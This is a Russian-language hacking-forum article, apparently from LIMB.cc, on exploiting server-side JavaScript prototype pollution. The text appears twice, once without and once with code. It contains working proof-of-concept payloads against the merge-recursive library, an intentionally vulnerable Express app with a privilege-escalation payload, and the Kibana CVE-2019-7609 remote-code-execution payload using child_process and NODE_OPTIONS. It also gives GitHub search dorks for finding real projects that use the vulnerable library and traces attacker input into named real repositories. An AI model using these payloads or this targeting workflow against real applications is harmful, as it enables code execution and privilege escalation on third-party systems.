Эксклюзивно для форума LIMB.cc
Эта статья продолжает первую часть, в которой разбирались основы уязвимости, и фокусируется на практической эксплуатации и построению понятного воркфлоу.
На первом этапе эксплуатации необходимо обнаружить Prototype Pollution.
В целом этапов всего три: после обнаружения следует установить способ передачи данных в уязвимую точку и далее найти гаджет для успешной атаки.
Напомню, что сама уязвимость - это возможность загрязнить Object.prototype.
Точки возникновения:
- Небезопасное рекурсивное слияние (Unsafe Object recursive merge) - функция рекурсивно обходит объект и сливает прототип
- Определение свойства по пути (Property definition by path) - функция специально интерпретирует строку пути
В merge сливаются все свойства из одного объекта в другой, в set устанавливается одно конкретное свойство по конкретному пути, например: setValue(config, userInput.path, userInput.value).
Иногда выделяют JSON.parse() в контексте операций слияния, а также операции клонирования, опять же в контексте рекурсивного слияния с пустым объектом, типа merge({}, source). Но все это в любом случае происходит в контексте небезопасных операций слияния!
Функции, основные подозреваемые на предмет загрязнение прототипа: merge, deepMerge, extend, assignDeep, mergeDeep, set, setDeep, put, update, cloneDeep, deepClone, copyDeep, clone, defaultsDeep, mergeWith.
Библиотека: https://www.npmjs.com/package/merge-recursive (4000+ загрузок в неделю)
Функционал заключается в слиянии объектов.
Просмотрим код визуально - в первую очередь функции, которые я выделил выше.
Участок кода - https://github.com/UmbraEngineering/node-merge-recursive/blob/master/lib/index.js - не содержит проверку на опасные ключи. Реализация выглядит такой, что потенциально ведет к отравлению прототипа.
Концепция:
В консоли:
yes
yes
Обнаружено!
В последствии было установлено, что это переоткрытая CVE-2018-3751
Чисто номинально обнаружить уязвимость таким способом достаточно просто. Например, в библиотеке annotator https://github.com/openannotation/annotator подтягивается merge-функция из библиотеки backbone-extend-standalone, которая демонстрирует признаки prototype pollution в реализации https://github.com/gre/backbone-extend-standalone/blob/master/backbone-extend-standalone.js
Аналогично выглядит функция extend в библиотеке dojo https://github.com/dojo/dojo
В приложении уже есть гаджеты, и они ни о чем не подозревают.
Только никакого приложения на данный момент у нас нет, я лишь показал пример prototype pollution на библиотеке, поэтому на данном этапе мы договоримся его представить.
Условно где-то в коде приложения есть вызов child_process. Функция runCommand принимает объект и далее передает obj.command в child_process.exec, выполняя команду. Получается RCE.
Гаджет может быть и более простым. Например, таким, что проверяет роль для доступа к эндпоинту. пример приближен к реальности
В абсолютной реальности все может быть немного сложнее. На примере CVE-2019-7609 в Kibana 5.6.15 - 6.6.1 суть пейлоада в следующем:
Первый запрос
устанавливает переменную окружения AAAA в строку с JS-кодом. Команда
Второй запрос
устанавливает переменную NODE_OPTIONS, указывая Node.js выполнить код из /proc/self/environ.
Суть заклинания:
Первым запросом туда засунули
Node.js, получив команду
Список известных гаджетов в рамках Node.js, Deno и ряда некоторых библиотек собраны в репозитории KTH-LangSec - https://github.com/KTH-LangSec/server-side-prototype-pollution
Для использования они должны быть в приложении!
Итак, формируется флоу:
Нашли PP (источник).
Нашли синки (места, где загрязнение может быть использовано).
Попадают ли туда пользовательские данные? Нет санитизации/валидации, данные доходят без фильтрации?
Компануем эксплоит на основе доступных гаджетов, полученных в ходе анализа приложений.
Гитхаб дорка - "merge-recursive": (на этом этапе стало очевидно что это CVE-2018-3751). Для конкретной версии - "merge-recursive": "0.0.3". Обнаружит все проекты, которые используют уязвимую библиотеку.
Библиотека должна быть упомянута в файле package.json. Если она есть в файле package-lock.json, но не в package.json, вероятно это значит, что ее использует другая библиотека. Тогда сперва нужно понять, каким именно образом.
Помимо факта наличия, она должна быть использована в рамках кодовой базы! Да, вполне может быть такое, что библиотека подключена, но либо уязвимая функция не используется, либо библиотека не используется в принципе.
Например, в проекте https://github.com/goddie9x/group_chat_api/blob/main/package.json присутствует merge-recursive, но по факту она вообще не используется в приложении.
В уязвимую функцию должен попадать пользовательский ввод. Например, в проекте https://github.com/UmbraEngineering/node-rest-auth используется merge-recursive.
merge используется для options. options - не пользовательские данные, а конфигурация работы аутентификации. Пользовательские данные нигде не попадают в merge.recursive() и вообще не попадают в options. Вообще никогда. В этом коде это физически невозможно.
Помимо этого не должно быть валидации и фильтрации. Репозиторий https://github.com/prosper-community/prosper-website-cms - prosper-website-cms. Использует уязвимую версию lodash - 4.16.0. (Подробнее - https://github.com/Kirill89/prototype-pollution-exploits/tree/master/lodash)
prosper-website-cms - форк ghost-cms. В пагинации попадает пользовательский ввод, но он фильтруется: https://github.com/prosper-community/prosper-website-cms/blob/master/core/server/helpers/pagination.js. Другие точки приложения оборачиваются валидатором - https://github.com/prosper-community/prosper-website-cms/blob/master/core/server/data/validation/index.js.
Вероятность потенциального попадания пользовательских данных можно оценить на основе функционала; в идеале это легковесная библиотека с конкретной задачей, которая будет вызвана на самых верхних слоях приложения.
В репозитории https://github.com/absalan/openpaas-esn (форк времен наличия уязвимой библиотеки) используется extend версии 3.0.0; софт представляет собой платформу для корпоративной почты.
Прототип поллюшен в экстенд - https://github.com/Kirill89/prototype-pollution-exploits/tree/master/extend.
В файле core/user/index.js метод extend используется
в функции extendUserTemplate, которая является частью функции provisionUser, с аргументом data.
Точка входа - файл addmember.js, пользовательские данные formValues = data.body.data.
Далее они идут в createUser.
data - это formValues.
Далее данные попадают в provisionUser, которая, в свою очередь, использует уязвимый extend.
Третий этап – обнаружение гаджетов.
В первую очередь желательно хорошо понимать, что делает приложение.
Главный принцип фокуса – места, где приложение доверяет объектам! Точка if (object.property === *) – потенциальный гаджет; даже шире – if(object.property).
Например, переопределение .length: участок кода for (let i = 0; i < arr.length; i++) { ... } ---> Object.prototype.length = Infinity; - DoS в рамках приложения.
По сути, схема такова: Object.prototype.pollutedProp → if (...) → impact.
В автоматизации поиска гаджетов может помочь pp-finder: https://github.com/yeswehack/pp-finder
Он парсит каждый JavaScript-код в каждом файле в директории, в которой запускается, подсвечивая именно те места, где происходят потенциально опасные операции. PP-Finder находит синки. Он ищет конкретный паттерн кода, называя их transformer. Официальной документации нет; моя интерпретация:
"elementAccess" – доступ к свойству через скобки, например obj[key] = value (где key может контролироваться пользователем);
"expressionStatement";
"propertyAccess" – доступ к свойству через точку, obj.property = value;
"variableDeclaration" – объявление переменных;
"objectLiteral" – литералы объектов, например Object.assign({}, userInput);
"forInStatement" – цикл for...in: for (const key in obj);
"inExpression" – оператор in: key in obj;
"arrowFunction", "functionDeclaration", "functionExpression" – объявление функций.
Минусы – он пробивает все пакеты node_modules; там вереница методов, функций, но сколько из них реально будет использовано в приложении? Вовсе не обязательно будут.
Логирует все for...in, все obj[key], все присваивания – очень много участков. Паттерн вовсе не значит эксплуатация.
Интересный инструмент, но по сути его лучше использовать в связке с ручным анализом, а иногда быстрее будет обойтись без него.
Для запуска: npm install pp-finder, node pp-finder ./main.js. В логе сокращение от transformer, например elem – это elementAccess.
В проекте https://github.com/ihh/wikimess, который также использует уязвимую версию extend, в файле isAdmin.js происходит проверка на то, является ли пользователь администратором. Изменение player.admin на true приведет к повышению привилегий. Это гаджет.
XSS возможен, если polluted-свойство используется при рендеринге HTML / DOM – это гаджет.
SQL – если запрос полагается на объект, прокидывая его без валидации – это гаджет.
Резюмируя, интереснее всего работать в формате, в рамках которого мы хорошо понимаем, что делает приложение: формируем базу 1/0 уязвимостей, прогоняем приложение на предмет наличия этих библиотек (создавая приватную версию npm audit); далее просматриваем приложение на предмет используемых функций, формируя векторы потенциальных атак исходя из обнаруженных гаджетов.
Эта статья продолжает первую часть, в которой разбирались основы уязвимости, и фокусируется на практической эксплуатации и построению понятного воркфлоу.
Обнаружение Prototype Pollution
На первом этапе эксплуатации необходимо обнаружить Prototype Pollution.
В целом этапов всего три: после обнаружения следует установить способ передачи данных в уязвимую точку и далее найти гаджет для успешной атаки.
Напомню, что сама уязвимость - это возможность загрязнить Object.prototype.
Точки возникновения:
- Небезопасное рекурсивное слияние (Unsafe Object recursive merge) - функция рекурсивно обходит объект и сливает прототип
JavaScript:
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) {
target[key] = {};
}
merge(target[key], source[key]);
} else {
target[key] = source[key]
}
}
return target;
}
- Определение свойства по пути (Property definition by path) - функция специально интерпретирует строку пути
JavaScript:
function setValue(obj, path, value) {
const keys = path.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!current[key]) {
current[key] = {};
}
current = current[key];
}
const lastKey = keys[keys.length - 1];
current[lastKey] = value;
}
В merge сливаются все свойства из одного объекта в другой, в set устанавливается одно конкретное свойство по конкретному пути, например: setValue(config, userInput.path, userInput.value).
Иногда выделяют JSON.parse() в контексте операций слияния, а также операции клонирования, опять же в контексте рекурсивного слияния с пустым объектом, типа merge({}, source). Но все это в любом случае происходит в контексте небезопасных операций слияния!
Функции, основные подозреваемые на предмет загрязнение прототипа: merge, deepMerge, extend, assignDeep, mergeDeep, set, setDeep, put, update, cloneDeep, deepClone, copyDeep, clone, defaultsDeep, mergeWith.
Библиотека: https://www.npmjs.com/package/merge-recursive (4000+ загрузок в неделю)
Функционал заключается в слиянии объектов.
Не удалось прогрузить медиа
Просмотрим код визуально - в первую очередь функции, которые я выделил выше.
Участок кода - https://github.com/UmbraEngineering/node-merge-recursive/blob/master/lib/index.js - не содержит проверку на опасные ключи. Реализация выглядит такой, что потенциально ведет к отравлению прототипа.
Концепция:
JavaScript:
const merge = require('merge-recursive');
let obj = {};
let malicious = JSON.parse('{"__proto__": {"polluted": "yes"}}');
merge.recursive(obj, malicious);
console.log({}.polluted);
console.log(Object.prototype.polluted);
В консоли:
yes
yes
Обнаружено!
В последствии было установлено, что это переоткрытая CVE-2018-3751
Чисто номинально обнаружить уязвимость таким способом достаточно просто. Например, в библиотеке annotator https://github.com/openannotation/annotator подтягивается merge-функция из библиотеки backbone-extend-standalone, которая демонстрирует признаки prototype pollution в реализации https://github.com/gre/backbone-extend-standalone/blob/master/backbone-extend-standalone.js
Не удалось прогрузить медиа
Аналогично выглядит функция extend в библиотеке dojo https://github.com/dojo/dojo
Не удалось прогрузить медиа
В приложении уже есть гаджеты, и они ни о чем не подозревают.
Только никакого приложения на данный момент у нас нет, я лишь показал пример prototype pollution на библиотеке, поэтому на данном этапе мы договоримся его представить.
JavaScript:
const config = require('./config');
const child_process = require('child_process');
function runCommand (obj) {
const cmd = obj.command;
child_process.exec(cmd);
}
Условно где-то в коде приложения есть вызов child_process. Функция runCommand принимает объект и далее передает obj.command в child_process.exec, выполняя команду. Получается RCE.
Гаджет может быть и более простым. Например, таким, что проверяет роль для доступа к эндпоинту. пример приближен к реальности
JavaScript:
const express = require('express');
const merge = require('merge-recursive');
const app = express();
const port = 3000;
app.use(express.json());
const users = {
'admin': { username: 'admin', role: 'admin' },
'user1': { username: 'user1', role: 'user' }
};
app.post('/api/update-profile', (req, res) => {
const { username, settings } = req.body;
if (!users[username]) {
return res.status(404).json({ error: 'User not found' });
}
let userSettings = users[username].settings || {};
merge.recursive(userSettings, settings);
users[username].settings = userSettings;
res.json({
message: 'Profile updated',
settings: users[username].settings
});
});
app.get('/api/admin/data', (req, res) => {
const userRole = req.query.role || 'guest';
if (userRole.isAdmin === true) {
return res.json({
secret: 'Super admin data: FLAG{PROTOTYPE_POLLUTION_SUCCESS}',
users: users
});
}
res.status(403).json({ error: 'Access denied' });
});
app.get('/api/check-pollution', (req, res) => {
const result = {
polluted: {}.polluted,
isAdmin: 'guest'.isAdmin,
objectProto: Object.prototype.polluted,
stringProto: String.prototype.isAdmin,
arrayProto: Array.prototype.isAdmin
};
res.json(result);
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
console.log('\nДоступные эндпоинты:');
console.log(`1. POST http://localhost:${port}/api/update-profile`);
console.log(`2. GET http://localhost:${port}/api/admin/data?role=guest`);
console.log(`3. GET http://localhost:${port}/api/check-pollution`);
});
console.log('\n=== Пример эксплуатации ===\n');
const maliciousPayload = {
username: 'user1',
settings: JSON.parse('{"__proto__": {"polluted": "yes", "isAdmin": true}}')
};
console.log('Payload для прототипного загрязнения:');
console.log(JSON.stringify(maliciousPayload, null, 2));
console.log('\nДо атаки:');
console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
console.log('{}.polluted:', {}.polluted);
const obj = {};
merge.recursive(obj, maliciousPayload.settings);
console.log('\nПосле атаки:');
console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
console.log('{}.polluted:', {}.polluted);
console.log('"any string".isAdmin:', "any string".isAdmin);
В абсолютной реальности все может быть немного сложнее. На примере CVE-2019-7609 в Kibana 5.6.15 - 6.6.1 суть пейлоада в следующем:
Первый запрос
JavaScript:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("touch /tmp/pwned");process.exit()//')
touch /tmp/pwned условна и просто создает файл, нужна для демонстрации.Второй запрос
JavaScript:
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
Суть заклинания:
/proc/self/environ - это виртуальный файл Linux, содержащий переменные окружения процесса.Первым запросом туда засунули
env.AAAA = 'require("child_process")...'.Node.js, получив команду
--require /proc/self/environ, в итоге пытается загрузить каждую переменную окружения как JS-код, включая первый пейлоад.Список известных гаджетов в рамках Node.js, Deno и ряда некоторых библиотек собраны в репозитории KTH-LangSec - https://github.com/KTH-LangSec/server-side-prototype-pollution
Для использования они должны быть в приложении!
Итак, формируется флоу:
Нашли PP (источник).
Нашли синки (места, где загрязнение может быть использовано).
Попадают ли туда пользовательские данные? Нет санитизации/валидации, данные доходят без фильтрации?
Компануем эксплоит на основе доступных гаджетов, полученных в ходе анализа приложений.
Поиск приложений
Гитхаб дорка - "merge-recursive": (на этом этапе стало очевидно что это CVE-2018-3751). Для конкретной версии - "merge-recursive": "0.0.3". Обнаружит все проекты, которые используют уязвимую библиотеку.
Библиотека должна быть упомянута в файле package.json. Если она есть в файле package-lock.json, но не в package.json, вероятно это значит, что ее использует другая библиотека. Тогда сперва нужно понять, каким именно образом.
Помимо факта наличия, она должна быть использована в рамках кодовой базы! Да, вполне может быть такое, что библиотека подключена, но либо уязвимая функция не используется, либо библиотека не используется в принципе.
Например, в проекте https://github.com/goddie9x/group_chat_api/blob/main/package.json присутствует merge-recursive, но по факту она вообще не используется в приложении.
В уязвимую функцию должен попадать пользовательский ввод. Например, в проекте https://github.com/UmbraEngineering/node-rest-auth используется merge-recursive.
merge используется для options. options - не пользовательские данные, а конфигурация работы аутентификации. Пользовательские данные нигде не попадают в merge.recursive() и вообще не попадают в options. Вообще никогда. В этом коде это физически невозможно.
Помимо этого не должно быть валидации и фильтрации. Репозиторий https://github.com/prosper-community/prosper-website-cms - prosper-website-cms. Использует уязвимую версию lodash - 4.16.0. (Подробнее - https://github.com/Kirill89/prototype-pollution-exploits/tree/master/lodash)
prosper-website-cms - форк ghost-cms. В пагинации попадает пользовательский ввод, но он фильтруется: https://github.com/prosper-community/prosper-website-cms/blob/master/core/server/helpers/pagination.js. Другие точки приложения оборачиваются валидатором - https://github.com/prosper-community/prosper-website-cms/blob/master/core/server/data/validation/index.js.
Вероятность потенциального попадания пользовательских данных можно оценить на основе функционала; в идеале это легковесная библиотека с конкретной задачей, которая будет вызвана на самых верхних слоях приложения.
В репозитории https://github.com/absalan/openpaas-esn (форк времен наличия уязвимой библиотеки) используется extend версии 3.0.0; софт представляет собой платформу для корпоративной почты.
Прототип поллюшен в экстенд - https://github.com/Kirill89/prototype-pollution-exploits/tree/master/extend.
В файле core/user/index.js метод extend используется
Не удалось прогрузить медиа
в функции extendUserTemplate, которая является частью функции provisionUser, с аргументом data.
Точка входа - файл addmember.js, пользовательские данные formValues = data.body.data.
Не удалось прогрузить медиа
Далее они идут в createUser.
data - это formValues.
Не удалось прогрузить медиа
Далее данные попадают в provisionUser, которая, в свою очередь, использует уязвимый extend.
Третий этап – обнаружение гаджетов.
В первую очередь желательно хорошо понимать, что делает приложение.
Главный принцип фокуса – места, где приложение доверяет объектам! Точка if (object.property === *) – потенциальный гаджет; даже шире – if(object.property).
Например, переопределение .length: участок кода for (let i = 0; i < arr.length; i++) { ... } ---> Object.prototype.length = Infinity; - DoS в рамках приложения.
По сути, схема такова: Object.prototype.pollutedProp → if (...) → impact.
В автоматизации поиска гаджетов может помочь pp-finder: https://github.com/yeswehack/pp-finder
Он парсит каждый JavaScript-код в каждом файле в директории, в которой запускается, подсвечивая именно те места, где происходят потенциально опасные операции. PP-Finder находит синки. Он ищет конкретный паттерн кода, называя их transformer. Официальной документации нет; моя интерпретация:
"elementAccess" – доступ к свойству через скобки, например obj[key] = value (где key может контролироваться пользователем);
"expressionStatement";
"propertyAccess" – доступ к свойству через точку, obj.property = value;
"variableDeclaration" – объявление переменных;
"objectLiteral" – литералы объектов, например Object.assign({}, userInput);
"forInStatement" – цикл for...in: for (const key in obj);
"inExpression" – оператор in: key in obj;
"arrowFunction", "functionDeclaration", "functionExpression" – объявление функций.
Минусы – он пробивает все пакеты node_modules; там вереница методов, функций, но сколько из них реально будет использовано в приложении? Вовсе не обязательно будут.
Логирует все for...in, все obj[key], все присваивания – очень много участков. Паттерн вовсе не значит эксплуатация.
Интересный инструмент, но по сути его лучше использовать в связке с ручным анализом, а иногда быстрее будет обойтись без него.
Для запуска: npm install pp-finder, node pp-finder ./main.js. В логе сокращение от transformer, например elem – это elementAccess.
В проекте https://github.com/ihh/wikimess, который также использует уязвимую версию extend, в файле isAdmin.js происходит проверка на то, является ли пользователь администратором. Изменение player.admin на true приведет к повышению привилегий. Это гаджет.
Не удалось прогрузить медиа
XSS возможен, если polluted-свойство используется при рендеринге HTML / DOM – это гаджет.
SQL – если запрос полагается на объект, прокидывая его без валидации – это гаджет.
Резюмируя, интереснее всего работать в формате, в рамках которого мы хорошо понимаем, что делает приложение: формируем базу 1/0 уязвимостей, прогоняем приложение на предмет наличия этих библиотек (создавая приватную версию npm audit); далее просматриваем приложение на предмет используемых функций, формируя векторы потенциальных атак исходя из обнаруженных гаджетов.
👍40
❤️11
👏6
💯8
LIMB